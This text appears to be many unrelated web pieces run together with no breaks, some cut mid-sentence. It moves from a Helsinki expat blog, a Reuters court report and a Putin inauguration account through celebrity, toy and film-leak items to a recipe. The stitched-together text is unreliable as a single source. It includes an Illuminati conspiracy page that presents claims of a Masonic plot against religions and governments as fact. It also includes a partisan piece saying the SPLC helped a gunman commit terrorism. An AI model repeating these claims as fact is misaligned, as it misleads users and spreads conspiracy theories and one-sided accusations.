philanthropy and participation by community leaders who have not succumbed to our current poisonous partisanship. Whatever the way, the nation needs to reclaim the sensible center, and the neglected side of our federal republic is a good place to start.The telegram channel @suomi_en gets updates every day. Here there is the last portion. You will be able to read new posts from the blog, but if you want to get it sooner, subscribe. This time: shops, city bikes and summer pleasures :-) Consumerism :-) One of the local supermarkets now provides trolleys with displayes. It’s cool that they have so much money. However, not so cool that we all pay for it, and that there is no laws to limit such annoying advertising practises. In Finland, you do not have to visit Russian shop for typical ex-USSR goods. There are many consumers of those, and so you can find buckwheat, sprats, adjika and pomegranate juice in usual supermarkets. “Russian” (in fact, Estonian) shops also exist. From there, we bought cottage cheese for the Russian version of cheesecakes, wild cherries, and pitta bread. And in summer, they sell real Middle-Asia watermelons! They are very different from the Spanish version which regular shops offer. Homes It has been 4 days since we had moved. At first, I had some stress and was looking for what is missing in the new apartment. Finally, it turned out that everything that we are used to exits in the new place as well. However, one thing I could not find; it was an electrical socket at the balcony. To be honest, we never used that. But what if we would like to? Maybe for grilling, it’s summer here (meaning, above 10C). Or we could hang some lights for Christmas. And there is no socket?! There is no festoon anyway, but… Well, actually we found the sockets, two of them. And they have special lids to be protected from rain. So, I conclude that sockets at the balcony are the standard in the modern houses development in Finland. Transport This weekend, we have summer! So, we ride city bikes and show Helsinki to our guests. The Helsinki city bikes project is very young, they started last summer. Actually, it is already the second attempt, and the first one was not successful. But this time it looks working. The city bikes are similar to Moscow version, but they are in different color and are linked with Helsinki public transport pass. The cost is more than affordable, just €25 for the whole season. Unlike many other European cities, the Helsinki city bikes can be used by tourists as well. One day costs €5, one week — €10. Then, you can get a bike for free if a ride is less than 30 minutes. Longer rides cost something. Using the city bikes is very handy because there is no need to care about where to park the bike. You can practice short rides together with using public transport or going on foot. This year, Helsinki got more stations than the last year; whole city center is covered, and also some neighboring areas. There are even some bikes in Espoo (Helsinki’s neighboring city). We hope that next year we will get even more. Here is their website: https://www.hsl.fi/en/citybikes. And even more! Now they are a part of routing service. It’s beta so you would need to turn the feature on. But it works already and even shows how many bikes is available. Public services There is a service of getting packages in automates in the closest shops. For this, you need to set this option at the post website and select which location you prefer. Last 3 years, we did not use it, because in our previous area there was a post office in 5 minutes on foot. It was in a kiosk which works every day from early in the morning to 9 pm, and to 10 pm on the weekends. In Finland, standard delivery comes to your home only if a parcel is very small and fits the door slot. For bigger packages, you need to go and get in a post office. So, we visited there quite often. In our new home, the post office is located in nearby area’s shop (in fact, it’s a village). It works even longer — until 11 pm every day. But it is 3,5 kilometers away from our house. On Friday, together with our guests we went there and back and realized that it’s very far. Assuming that it was followed by the weekend full of walking, my legs still hurt. Coming back home, first thing first I set up getting my packages in our local supermarket through the automatic boxes like you can see in the picture. Soon, we will learn how it’s working. On the weekend, we had guests. Together, we walked in our area and went to the forest to gather berries. Quite close, 5min on foot. Blueberry is ready! Also, wild strawberry is there but quite little :-)Over the past 1,000 years in Japan, forcing monkeys to dance and perform acrobatics as if they were human has not only not been considered cruelty, it has become an art form. The shows – usually held in the street – nearly disappeared in the 1970s as cars took over the roads and television gained popularity. Photographer Hiroshi Watanabe, 62, remembers seeing the performances, called Sarumawashi, regularly as a kid. “For a while I thought it didn’t exist anymore,” says Watanabe, who moved to United States as an adult. It wasn't until a few years ago that Watanabe discovered otherwise. In 2008, Watanabe and his wife traveled from their home in Los Angeles back to Japan so their son could be born there. They spent several months living in Tokyo after the birth, and Watanabe went looking for a new photo project. He’d been working on a portrait series focused on various Japanese art forms – kabuki characters, bunraku puppets – and wanted something similar. That’s when he stumbled onto the Suo Sarumawashi association. The association had formed back in 1977 to try to keep the monkey performances alive. When Watanabe found them, they’d regained their footing and were operating two 600-seat Sarumawashi theaters and still performing around Japan. Watanabe asked the association if he could make portraits of the monkeys and was given full access. With a simple backdrop, he shot the playful animals on film with a Hasselblad, capturing many with the odd getups and human-like expressions they use during performances. The monkeys' trainers are not in the photos, but had to stand by during the shoots in order to get the subjects to perform. Even so, it didn't always go perfectly. “I had to be very patient because it was like taking photos of a baby. You can’t tell them exactly what to do,” he says. Back when Sarumawashi was more popular, Watanabe says the trainers came from the lower classes of Japanese society – a class similar to that of the Untouchables in India. Today that’s not the case, but like in the past, the trainers and monkeys still share a life-long bond. The monkeys take years to train and over that time form a strong relationship with their human companions. “The trainers are like parents in a way,” he says. Like the photos of cock fighting many photographers have made, Watanabe's Sarumawashi have rustled some feathers, especially here in the United States. He's heard people criticize the work because they feel the monkeys shouldn’t be held captive and forced to perform. But back in Japan he says most people see Sarumawashi, and the photos, differently. It’s a cultural legacy that's gone on so long that it's accepted. In places like Europe, he says viewers didn’t flinch. “The Europeans thought it was cute and funny and had a totally different attitude,” he says. Watanabe's Suo Sarumawashiportraits will be at the Kopeikin Gallery in Los Angeles from September 7 to October 26.People walk past a logo next to the main entrance of the Google building in Zurich March 9, 2011. REUTERS/Arnd Wiegmann MILAN (Reuters) - Internet platforms like Google cannot be forced to filter every video uploaded by users without endangering freedom of thought and their own functionality, an Italian court ruling made public on Wednesday said. The details of the ruling were made public 60 days after the Milan court acquitted three Google executives of charges of having violated the privacy of an Italian boy with autism by allowing a video, showing him being bullied, to be posted on the site in 2006. The decision in December overturned a previous court ruling in 2010 which had sentenced the executives to a six-month suspended jail sentence, reigniting a debate about privacy over the Internet. “The possibility must be ruled out that a service provider, which offers active hosting can carry out effective, pre-emptive checks of the entire content uploaded by its users,” the court said in the public ruling reviewed by Reuters. “An obligation for the Internet company to prevent the defamatory event would impose on the same company a pre-emptive filter on all the data uploaded on the network, which would alter its own functionality.” The case arose in 2006 when four students at a Turin school uploaded a mobile phone clip to Google Video showing them bullying the boy. The prosecutors accused Google of negligence, saying the video remained online for two months even though some Web users had already posted comments asking for it to be taken down. Google said it had removed the video immediately after being notified and cooperated with Italian authorities to help identify the bullies and bring them to justice. Googles has always maintained that, as hosting platforms that do not create their own content, Google Video, YouTube and Facebook cannot be held responsible for content that others upload.On Monday morning Russian president-elect Vladimir Putin left his office in the White House to head towards the lavish inauguration ceremony in the Grand Kremlin Palace. He was to swear in as president for the third time in his life, in front of the inner circles of the Russian establishment. The official livestream, scrupulously shot with the help of 63 cameras and few helicopters, shows a beautiful picture: the armored Mercedes limousine, escorted by jeeps and motorcycles, a triumphant proceeding through the wide streets and leafy boulevards of central Moscow. But I didn't actually see that. What I saw on the inauguration day was this: The closest I could get to the cortege was this iron grill locking me inside of my own Arbat neighborhood. Watch the inauguration video from minute six, and you won't find a single ordinary citizen on Putin's way to another six-year term. There were no cheering crowds lining up Novy Arbat, a touristy street that leads right to the walls of Kremlin. Neither was there anyone walking along the river embankment on that sunny holiday. Remember Obama's inauguration? Vladimir Putin, who, according to the official results, won 64% of votes in March elections, triumphed though an empty, suddenly depopulated city in absolute solitude. It was the city of his dreams. If civil rituals exist to demonstrate principles on which society is based, then the Russian president used it to declare: you'd better sit quietly. What has been happening in Moscow over the past few days resembled a military operation, rather than national celebrations. Most central streets were blocked with special forces machinery, 13 metro stations closed, access to public spaces - such as parks and boulevards - denied. For Kremlin it was too much of a reputation risk. Random groups of emerged opposition activists might have tried to cause a scene by shouting anti-Putin slogans or stretching an offensive banner, which would then be broadcast live around the world. The police was ordered to round up suspected protesters. By Monday afternoon 120 people had been violently arrested in different parts of Moscow, and their number keeps growing up until this very moment. One of these incidents happened at Nikitsky Boulevard, the one that that overlooks Novy Arbat. At around 11 a.m. my friend Sasha, a business consultant aged 25, wrote that he dropped by cafe Jean-Jacques, and we were about to meet at its terrace. At 11.40 a.m. I got a new text from him, this time terrifying: people in the bistro were violently forced out as the presidential cortege approached, and some were taken to police. Russian news site of Radio Free Europe caught the raid on video. What triggered the raid was, most likely, the fact that the place is popular among Russian liberals, and some of those who often gather there are members of the anti-Putin opposition that emerged in December 2011 to protest against alleged electoral fraud. Writer and publicist Lev Rubinshtein, 66, was born and raised in this part of town and never expected such a treat. "Today the power has demonstrated own illegitimacy. The way they behaved is as if they've seized their power", he told upon his release from a paddy waggon. We sat inside the closed cafe as in a bunker, and atmosphere of insecurity reigned as he continued talking. "The peaceful demonstrations we witnessed in winter were as joyous as in Paris'68. What I've seen today makes me think more of the 1905 revolution in Russia". This round of protests began on the eve of the inauguration, on Sunday, when tens of thousands participants turned up at "The March of the Millions". A demonstration of the "urban middle class", this time is was also joined by opposition from regions. It started as peacefully as before, with people chanting "Russia without Putin" and flashing witty placards, but then suddenly transformed in a violent clash with the riot police. Although it remains unclear who started the provocation, things have definitely gotten out of control. Novaya Gazeta, an independent Russian daily, depicts it from the point when radical elements started to lose patience: When the streets of Moscow were filled with spreading discontent, Putin's spokesman, Dmitry Peskov, was even more direct. "In my opinion, the police acted gently," he said in an interview with Dozhd television. "I would like them to be harsher." In this case if the Kremlin continues to respond to opposition with violence, the smiling people with symbolical white ribbons will get fully replaced by militant anarchists with Molotov cocktails. Julia Ioffe of the Foreign Policy recalls few examples of what happens when the government ossifies and opposition radicalizes: "What happens, in other words, is that a paralysis sets in: Those in power see compromise as weakness, while those forced onto the streets by its absence see it as selling out. And the more each side digs in, the less a constructive solution becomes possible. The only way out becomes a revolution and the complete destruction of the status quo. And, as the Russian experience of 1917 and 1991 showed us, striving for a clean slate and a fresh start has a very steep cost." However, business circles do not seem to be disturbed by the news. Investment community is more worried about economic reforms than about political freedoms in Russia. A London-based fund manager told Forbes.com that even the results of presidential elections in France are more likely to bear volatility of Russian stocks this week than violence at the streets of Moscow. "Previous protest rallies had very little impact on the markets, apart from the first one in December, - he said. - The new government and awaited continuation of reforms in the major industries - oil&gas and utilities - will make more headlines in the financial news than the protests in the coming months." Small groups of anti-Putin demonstrators are still wandering the city of Moscow for the third consecutive day. Chased by riot police, they try to keep a non-stop vigil.Index \| Homepage \| Good Links \| Bad Links \| Search \| Guestbook/Forum Quark, Strangeness and Charm Proofs of a Conspiracy Against all the Religions and Governments of Europe "The great strength of our Order lies in its concealment; let it never appear in any place in its own name, but always covered by another name, and another occupation". "Of all the means I know to lead men, the most effectual is a concealed mystery. The hankering of the mind is irresistible;" Adam Weishaupt (code-name Spartacus) Skip to index of text of this book by John Robison From Code of the Illuminati, Part III, Memoirs Illustrating the History of Jacobinism, by Abbé Barreul. tr. by Robert Edward Clifford, 1798. III. The adept is supposed to possess qualities requisite for a General in consequence of those he may have evinced before he was called to the Supreme Council. As he is to preside over the whole Order, he must (more than any body else) be impressed with the principles of the founder, and be divested of all religious, political, or national prejudices. The grand object of the Order must be more particularly inculcated into him, namely, that of teaching the whole universe to set aside all government, laws, and altars; and he must perpetually attend to the grand interests of human nature. His zeal is to be stimulated at the sight of every man who is subjected to any authority. It is to reinstate the inhabitants of the earth in their original Equality and Liberty that he is constituted General of all the Illuminees that are or will be spread over the world during his reign, all labouring at the accomplishment of the grand revolution of the Man-King. http://www.sacred-texts.com/sro/mhj/mhj319.htm Skip down for contemporary & up-to-date Illuminati leaks Proofs of a Conspiracy Against all the Religions and Governments of Europe Carried on in the Secret Meetings of Free Masons, Illuminati and Reading Societies. Collected from Good Authorities by John Robison, A.M. Professor of Natural Philosophy, and Secretary to the Royal Society of Edinburgh. Fourth edition 1798. [out of copyright - reproduce at will] This is likely to be as interesting to freemasons as to those non-masons intrigued by what might go on behind the lodge door. Certainly the twenty-first century attempt to turn everyone away from politics and Jesus Christ's message of peace has been mightily successful. This tract looks at the eighteenth century origins of this ambitious project. The idea was and is to make democratic government, through masonic infiltration, so unworkable as to be rejected by the people. In exchange we get a global state apparatus run by private banks, global media barons, security and telecommunications companies. (see Weishaupt biographical notes) Not least because of the masonic blood-oaths, freemasonry is absolutely NOT compatible with Christianity. The uninspiring lead given by today's mason-embracing Church of England and Opus Dei influenced Catholic church should make us, and them, turn to the opening chapters of Revelation which spell out how established church institutions are going astray, with unbelieving clergy doing their worst in exchange for a roof over their head and leading the flock over the cliff. Which is where the man-made religion comes in. The exasperating mess the British church and democracy are in begins to make sense, and further light is shed on Her Majesty Queen Elizabeth II's "powers at work in this country about which we have no knowledge"[Paul Burrell]. Maybe you haven't seen the latest addition to the Bilderberg website ma'am? [TG] The Complete Book - http://www.sacred-texts.com/sro/pc/index.htm "The great strength of our Order lies in its concealment; let it never appear in any place in its own name, but always covered by another name, and another occupation. None is better than the three lower degrees of Free Masonry; the public is accustomed to it, expects little from it, and therefore takes little notice of it. Next to this, the form of a learned or literary society is best suited to our purpose, and had Free Masonry not existed, this cover would have been employed; and it may be much more than a cover, it may be a powerful engine in our hands. By establishing reading societies, and subscription libraries, and taking these under our direction, and supplying them through our labours, we may turn the public mind which way we will." - Adam Weishaupt, founder of the Illuminati in John Robison's Proofs of a Conspiracy, 1793. Proofs of a Conspiracy by John Robison as a Word Document for printing - 134 pages See also - http://www.freemasonrywatch.org/illuminati.html Further links on an apparent modern-day Illuminati Secret Society Ex-Illuminati John Todd Explaining The Illuminati with some interesting shots from Bohemian Grove. 'He warned us against their plans for world domination before he was framed.......' Part 1 - http://www.youtube.com/watch?v=DerUFYMExS8 Part 2 - http://www.youtube.com/watch?v=N9FOuCHSvAE Open Your Mind - Illuminati (luciferian/satanic) Symbolism - It's All Around You! http://www.youtube.com/watch?v=9LEljS3ib84 http://www.lionlambministries.org/ - http://www.trance-formation.com/ - http://www.kaygriggstalks.com - http://www.reflectionsinthenight.com/ And another well referenced and informed book translated from the French in the eighteenth century Code of the Illuminati by Abbé Barreul, 1798. Chapters: Preliminary Observations; Chapter I. Spartacus-Weishaupt, Founder of the Illuminees; Chapter II. Code of the Illuminees; Chapter III. Of the Brother Insinuator, or the Recruiter; Chapter IV. First Preparatory Degree: Novice; Chapter V. Second Preparatory Degree: The Brethren of Minerva; Chapter VI. Third Preparatory Degree: The Minor Illuminee; Chapter VII. Fourth Preparatory Degree: The Major Illuminee, or the Scotch Novice; Chapter VIII. Intermediate Class: The Scotch Knight; Chapter IX. The Lesser Mysteries; The Epopt or Priest of Illuminism; Chapter X. Continuation of the Discourse on the Lesser Mysteries; Chapter XI. The Regent, or the Prince Illuminee; Chapter XII. Class of Grand Mysteries; the Mage or the Philosopher, and the Man King; Chapter XIII. Government of the Order; Chapter XIV. Of the Government and Political Instructions for the Epopts; Chapter XV. Instructions for the Regent or Prince Illuminee, on the Government of the Order; Chapter XVI. Continuation of the Instructions on the Government of the Illuminees; Chapter XVII. Instructions for the Provincial; Chapter XVIII. Of the National Directors, of the Areopagites, and of the General of Illuminism. Read and download Code of the Illuminati at Sacred Texts website - download from Bilderberg.org website For complete version see SacretTexts.com Order! - - From Chaos! "[in] the Mason Lodges there the most ignorant of all the ignorant, gaping for instruction from our deputies" [Weishaupt] "No man is fit for our Order who is not a Brutus or a Catiline, and is not ready to go every length. - Tell me how you like this?" [Weishaupt] "If a writer publishes any thing that attracts notice, and is in itself just, but does not accord with our plan, we must endeavour to win him over, or decry him." [Weishaupt] We cannot improve the world without improving women, who have such a mighty influence on the men. But how shall we get hold of them?...We must begin with grown girls... It may immediately be a very pretty Society, under the management of Ptolemy's wife, but really under his management. ['Minos'] 'He employs the Christian Religion, which he thinks a falsehood, and which he is afterwards to explode, as the mean for inviting Christians of every denomination, and gradually cajoling them, by clearing up their Christian doubts in succession, till he lands them in Deism;' [Robison] 'such are the characters of those who forget God.' [Robison] 'the world has been darkened by cheats, who have misrepresented God to mankind, have filled us with vain terrors, and have then quieted our fears by fines, and sacrifices, and mortifications, and services,' [Robison] "All things work together for good to them that love God" [Romans 8:28 KJV] "have nothing to do with the fruitless deeds of darkness, but rather expose them" [Ephesians 6:11] BEING AT a friend's house in the country during some part of the summer 1795, I there saw a volume of a German periodical work, called Religions Begebenheiten, i.e. Religious Occurrences; in which there was an account of the various schisms in the Fraternity of Free Masons, with frequent all
forward to 2014 and as well as coaching and commentating, Becker is a heavyweight businessman. He runs a chain of Mercedes dealerships, develops property and is generally a corporate mover and shaker. Can he really have left his glory days so far behind he’s stopped training and cast all hosiery convention to the side? It would appear so. But it’s not too late. Please, Boris, take it from your most devoted fan; it’s time to shape up, literally and metaphorically. Henry VIII is not a good look on anyone; and socks in the city just don’t wash in Wimbledon.ANN ARBOR, MI — Robot orders and shipments in North America set new records in 2014, according to Robotic Industries Association. A total of 27,685 robots valued at $1.6 billion were ordered from North American companies during 2014, an increase of 28 percent in units and 19 percent in dollars over 2013. Robot shipments also set new records, with 25,425 robots valued at $1.5 billion being shipped to North American customers in 2014. Shipments grew 13 percent in units and six percent in dollars over the previous records set in 2013. The automotive industry was the primary driver of growth in 2014, with robot orders increasing 45 percent year over year. Non-automotive industries also performed well throughout the year, growing seven percent in total over 2013. The standout non-automotive industries in 2014 in terms of order growth were plastics and rubber (25 percent), semiconductor and electronics (21 percent) and metals (16 percent). According to Alex Shikany, director of market analysis for RIA, the fastest growing applications for robot orders in North America in 2014 were arc welding (58 percent), spot welding (57 percent), assembly (16 percent) and material handling (11 percent). RIA estimates that some 230,000 robots are now at use in United States factories, placing the U.S. second only to Japan in robot use. “This is an extremely exciting time to be involved in the robotics industry,” said Jeff Burnstein, president of RIA. “Record sales performance, groundbreaking innovation, and increasing consumer interest all make the robotics industry so dynamic.” Burnstein noted that the RIA and its parent group the Association for Advancing Automation are seeing the impacts of the growth in demand for automation in events like the upcoming Automate 2015 trade show. “With six weeks to go, the exhibit floor at Automate 2015 is already over 70 percent larger than our 2013 event,” he said. “This growth is attributed to the fact that leading automation companies are reaching out to small and medium sized customers, many of whom are just now beginning to explore automation. This group makes up the core of the Automate 2015 attendee base, and early indicators are that the attendance in 2015 will be more than 50 percent higher than two years ago.” Automate 2015, the industry’s leading event, will take place March 23-26, 2015 at McCormick Place in Chicago. The event also features the International Symposium on Robotics, which was last held in the US in 2011. For complete details on Automate, which is held every two years, visit the Automate Show website. For more information, visit www.robotics.org.Multiple previously unseen G2 Transformers have hit Ebay auctions including one of the true holy grails – the G2 Stunticons. A complete set (minus Menasor’s head) including our first look at a stickered Motormaster can be yours although at press time the price was already above 12 grand. Then there’s the first look ever at a pre-production Megatron flipchanger in more traditional colors and unreleased Autojetter and Autolauncher. In addition carded figures of Combat Hero Prime AND Megatron, Laser Cycle Jazz, and Go-Bots galore including the first pictures ever of the unreleased pink Go-Bot and Hound! Join the conversation on the Allspark forums for links to the individual auctions. If you’re like me and it’s all too rich for your blood enjoy the incredible pictures below! Credit to Allspark forums member Shatterblast for Megatron and Doubleclouder for the pink Go-Bot. Like this: Like Loading...When it comes to Star Wars Episode VIII, one of the more active followers is Ky10Rey. This deeply entrenched Bothan has been obsessively covering the film production, like last month’s Ahch-To shoot in Ireland: This mornings plane and flight, cast and crew Flight ZT581 STN 07:58 London Stansted – BFS 08:51 Belfast G-POWD pic.twitter.com/ihEoi3Kdhi — Star Wars – Films (@KY10REY) May 13, 2016 Filming on Wednesday pic.twitter.com/5Pw38m1pIY — Star Wars – Films (@KY10REY) May 16, 2016 Last May 14, Ky10Rey tweeted this cryptic message: SPOILER WARNING Episode VIII Get ready for a history lesson Jedi History 1.1 Details will be on my facebook page from 13 June 2016 — Star Wars – Films (@KY10REY) May 13, 2016 Today, after a month, we finally get our first look at what Ky10Rey claims to be Jedi history 1.1 for Episode VIII: Analysis: “Clear Horizon” is allegedly the code name for one of the shooting locations in Ireland. The scene was described as “involving a character observing the landscape from a cliff-top vantage point.” These set outlines were posted by Ky10Rey on March 3, two months before the Ireland shooting. “Space Bear” is the working title for Episode VIII. The tree is most likely the mystical, out-of-place looking tree in the Ahch-To set built in Longcross Studios, UK. The line “I feel pain… death. It has begun” might be the scene where Luke and Rey feel the peril being faced by Finn and Leia according to an earlier leak. Then again, it might also be the First Order attacking the Resistance base on D’qar, or the alleged invasion of the temporary Republic capital. The final line “Rey if we are to _____ you have until sunset” hints at a pivotal choice by Rey. And since the deadline appears to be “by sunset”, this scene might take place just before the Knights of Ren begin their assault, which was reported to take place at dusk. If this is true, it confirms the IMDB claim that Rey isn’t Luke’s daughter. We see her parents in this vision, along with a mysterious companion! Stormtrooper Larry makes no guarantees on the authenticity of Ky10Rey’s Jedi history lesson. As always, take your intel with a grain of salt (and a healthy dose of Corellian ale). If you’re hungry for more Star Wars, check out the Rogue One leak hilariously rewritten by a spambot!By all reports, the LA River was packed with kayakers yesterday as about two and a half miles through the Elysian Valley opened to the public for the first time since the river was covered in concrete decades ago. The exec director of the Santa Monica Conservancy tells the LA Times "It's been since the '30s when someone could come and legally recreate in the river," which is pretty mindblowing ("recreate" means boating, fishing, strolling, etc.). The river's open through Labor Day as a pilot program; if it's successful, the area could open annually, so everyone be on your best behavior. As urbanist Alissa Walker writes on her blog, "This part of the river is so visible that you can see it from the Fletcher Bridge as well as a few different freeways. With the bike path so heavily used, plus so many people who actually live along the way, this is going to be the place that's going to truly transform the way Angelenos see their river." Walker also cautions, however, that "this part of the LA River is wide, rocky and a bit gnarly. Along most of the route the water is only calf-deep, but the river is fast and deep in a few spots and I'd say half of our group took unexpected swims." Brand-new City Councilmember Mitch O'Farrell also thinks the area's a bit too rocky, according to KPCC, so perhaps that'll be dealt with. Here are all the details on visiting, and meanwhile, enjoy snapshots from Day One of the LA River's brand new life. · Kayaking in my neighborhood [A Walker in LA] · Here's Your Summer Fun Guide to the Newly-Opened LA River [Curbed LA]I write many, many drafts as I work on a book. Recently, someone on Facebook asked writers to share different drafts of a single paragraph. I thought this would be an interesting exercise for me to share with you, my blog readers. I want to give credit to the Facebooker who suggested this, but I don’t recall who it was, so I hope that person will read this post and step forward. Until then, here are three drafts of the same paragraph of my work-in-progress, currently titled The Lies We Told. We are in Maya’s point of view here. I hope that seeing the first draft will encourage those of you who think you have to write something perfectly the first time! Early Draft: A guy walked into the restaurant. She noticed him the second he walked in. there was something about him. the way he scanned the restaurant. unsmiling. a flare to his nostrils that reminded her of ___. His eyes came to rest on the two men at the table next to her and Adam’s he walked toward the table with a deliberate stride, and she watched him pull a gun from his jacket pocket and before she could scream or duck or even widen her eyes, he’d shot the man at the table in the head. Everyone screamed then. She had a lot of company. ————– Middle Draft: Adam said something to Brent and Rebecca, but I didn’t hear him. My gaze was on a man who had just walked into the restaurant. He was dark-haired, wearing a white t-shirt and beige pants and he stood in front of the door, looking from table to table. There was something about him that sent a shiver through me. He started walking toward us–or at least, I thought he was heading toward us. Then I saw that his gaze–his ice-blue eyes–was on the two men at the table adjacent to ours. Adam said something that must have been funny, because Brent and Rebecca both laughed, but I’d set down my fork and was beginning to tremble, my heart thudding beneath my breastbone. I knew how quickly these things could happen. He reached behind his back, then whipped his arm out straight, the gun a gray blur, and I saw the small symbol tattooed on his finger as as he pressed the trigger. ————– Final Draft: Adam said something in response, but I didn’t hear him. I was watching a man who had just walked into the restaurant. He was Caucasian, dark-haired, wearing a white t-shirt and beige pants, and he stood in front of the door, shifting his gaze quickly from table to table. Something about him sent a shiver through me. He started walking toward us–or at least, I thought he was heading toward our table. His stride was deliberate, his nostrils flared. Then I saw that his eyes–his ice-blue eyes–were locked on the two men at the table in front of ours. Adam said something that must have been funny, because Brent and Rebecca both laughed, but I’d set down my spoon and was gripping the corner of the table, my heart thudding beneath my breastbone. I knew better than anyone how quickly these things could happen. He reached behind his back with his right hand, then whipped his arm out straight, the gun a gray blur as it cut through the air, and I saw the tattoo of a black star on his index finger as he pressed the trigger. ————– Even as I look at the final draft of this paragraph, I see things I want to change. Imagine 400 pages of this! No wonder I’m so tired. My deadline is next week, so soon I’ll have to stop tinkering and send the finished product to my editor. For now, though, I hope you enjoyed this little peek into my world.On your usual beach, where you have been both summer and winter for 29 years. Where 5 years ago I celebrated my birthday with a nice heroic dive, now 8 January 2017 there’s a white blanket, soft and brilliant. But also, frozen!! It covers the whole. The street where I had my first crash with my first bicycle at 6 years. The countries all around where we’re used to going for picnics suddenly are all white. White as it wasn’t ever. Once again spreads that strange feeling of happiness. But actually, nobody knows why a climatic event that is normal all over the world can make cheerful both children and adults. It makes leave home everyone, just for the pleasure of being there despite the glacial cold every Sicilian want to escape from. Walking around the town are many snowmen who looks after children have already gone to the unmissable snowball fight. And I still enjoy myself, while I can, a walk on my snowy beach… And nothing, I just wanted to share with you the strange emotion of a Sicilian boy who all at once can touch and splash into the snow in front of his home door!The radical leftist group that helped a gunman commit an act of terrorism against a conservative organization was officially reprimanded by the Obama Department of Justice (DOJ) for its hateful attacks, according to documents obtained by Judicial Watch. The Southern Poverty Law Center (SPLC) is an extremist nonprofit that lists conservative organizations that disagree with it on social issues on a catalogue of “hate groups.” The previously undisclosed DOJ rebuke is a vindication for groups targeted by the SPLC’s witch hunts and is especially impactful because the Obama administration was tight with the SPLC and even hired the controversial nonprofit to conduct diversity training for the government. Judicial Watch uncovered documents relating to the SPLC’s diversity training at the DOJ back in 2013. Also in 2013, Judicial Watch reported that a Virginia man who planned a mass shooting based on the SPLC’s “hate map” of conservatives got a 25-year prison sentence. Prosecutors called it an act of terrorism and recommended a 45-year sentence. The terrorist, Floyd Lee Corkins, stormed into the headquarters of the Family Research Council (FRC) and carried out the politically-motivated shooting based on an SPLC target list. The FRC is a Christian organization that promotes the traditional family unit and the Judeo- Christian value system. Corkins pleaded guilty and admitted that he learned about the FRC from the SPLC, which describes itself as a civil rights group but labels conservatives who disagree with it on social issues as hateful. In 2015, the SPLC issued a hit list of U.S. women against sharia law, the authoritarian doctrine that inspires Islamists and their jihadism. This included a starter kit for Islamists to attack American women who refuse to comply with Sharia law and a detailed list of female bloggers, activist and television personalities who reject Sharia law, which is rooted in the Quran. Among those targeted were colleagues and friends of Judicial Watch who fear for their safety simply for practicing their rights under the U.S. Constitution. That SPLC hate list is titled Women Against Islam/The Dirty Dozen and includes illustrations and detailed information on all the women, who are branded “the core of the anti-Muslim radical right.” The SPLC hate brochure further targets them by claiming that they’re “a dozen of the most hardline anti-Muslim women activists in America.” Another favorite SPLC target is any group or individual that speaks openly against illegal immigration. The DOJ reprimand, issued last year but kept quiet at the agency’s request, involves the SPLC’s atrocious behavior during immigration court proceedings. Two groups that oppose illegal immigration, the Federation for American Immigration Reform (FAIR) and the Immigration Reform Law Institute (IRLI), were the target of personal, baseless and below-the-belt attacks from SPLC attorneys during official immigration court proceedings. The SPLC filed a motion attacking and defaming the two respected nonprofits by describing them as “white supremacist”, “eugenicist”, “anti-Semitic”, and “anti-Catholic.” In its reprimand the DOJ says it is troubled by the conduct of SPLC lawyer Christopher Strawn and that his conduct “overstepped the bounds of zealous advocacy and was unprofessional.” Furthermore, SPLC made “uncivil comments that disparaged FAIR and its staff,” the rebuke states, adding that the language constitutes frivolous behavior and doesn’t aid in the administration of justice. The Obama administration kept the reprimand confidential and asked FAIR and IRLI to keep it under wraps. In the meantime, SPLC continues to publicly trash the groups and escalate attacks against them by putting them on the official hate list. The executive director and general counsel of IRLI, Dale Wilcox, says his nonprofit and FAIR will keep fighting for immigration policies that put America first. “The SPLC’s latest tactic in its never-ending witch-hunt and the federal government’s resulting reprimand should send the following message to the mainstream media,” Wilcox said: “Stop using the SPLC as a legitimate hate-watch source in your news coverage. That a cabal of biased list-keepers can play such an important role in distorting the immigration debate in this country is testament to the utter failure of much of the mainstream media which frequently publishes their inflammatory commentary and refuses to question their baseless methods or financial motivations.”Homemade Snickers Bars. Insanity. That’s what this is. Pure In.San.It.TEEEEE. You know those days when you’re in desperate need of sugar and you’ve already downed more gummy vitamins than recommended while seriously considering how many more you can ingest without causing severe harm to your internal organs? They’re just so gooooood. Well… in that case you should make some homemade snickers bars. Because I definitely did that. MY OTHER RECIPES MY OTHER RECIPES And I KNOW you know what I’m talking about. I spent the majority of my pre-pubescent and adolescent years scheming just how I would be able to steal my brothers’ Halloween candy. Snickers were always my favorite, and the boys weren’t huge fans so more often than not, they would hand them over. But sometimes… they kept them just to spite me. Brats. Then I went through a SERIOUS phase of those Snickers ice cream bars. I swear they only had like 4 in a package or something but I could easily take down 2 for dessert. As kids, we were rarely allowed candy bars, but my mom had no issue with buying bags of fun-sized candy because, well… when things are fun-sized it means the calories don’t count. And that you can eat a million of them. These days, it’s rare that I crave actual candy, often preferring some chewy cookies or super rich cheesecake or a bar of amazing chocolate that costs thrice as much as the recent organic meyer lemons I purchased. But snickers are in my blood. They are the peanut butter to my jelly. The salt to my pepper. The broccoli to my… wait, no. This recipes comes from my friend Nikki who, well… I didn’t even know until Instagram and Twitter. But now Nikki is like my bestest friend ever. Because when someone emails you a recipe for homemade snickers bars, they are your BFF for life. I mean, who else has my best interests at heart like that? I don’t even know. And the fabulous part? This is SO EASY. So, so, so, so, so easy. Like, had-five-drinks-and-a-recent-breakup-easy. It has four distinct steps and in print seems slightly intimidating, but it isn’t whatsoever. I promise. I swear. I even had every single ingredient on hand. And not just because I’m a hoarder. Would I lie to you? I’m not even going to waste your time trying to convince you to whip up a batch because, uhhh…. look at them. They are irresistible. Literally… considering they ruined two of my family members’ January diets. Now that’s a win. Homemade Snickers Bars Ingredients: Directions: All images and text © How Sweet Eats. Did you make this recipe? Be sure to follow howsweeteats on instagram and tag #howsweeteats. You can also post a photo of your recipe to the howsweeteats facebook page. I appreciate you so much! makes one 9×13 pan bottom chocolate layer 1 1/4 cups milk chocolate chips 1/4 cup peanut butter Thoroughly grease you baking pan. Melt ingredients together in a saucepan or microwave, then pour into the baking dish and spread until even. Let cool and harden completely. nougat layer 1/4 cup unsalted butter 1 cup granulated sugar 1/4 cup evaporated milk 1 1/2 cups marshmallow fluff 1/4 cup peanut butter 1 1/2 cup salted peanuts chopped, roughly chopped 1 tsp vanilla extract Melt butter in a saucepan over medium heat. Add in sugar and milk, stirring until dissolved and bring to a boil. Let cook for 5 minutes, stirring occasionally. Add in fluff, peanut butter and vanilla, stirring until smooth. Turn off heat and fold in peanuts, then pour over bottom chocolate layer. Let cool completely. caramel layer 1 14-ounce bag of caramels 1/4 cup whipping cream Combine ingredients in a saucepan over low heat. Let melt, stirring occasionally, until smooth 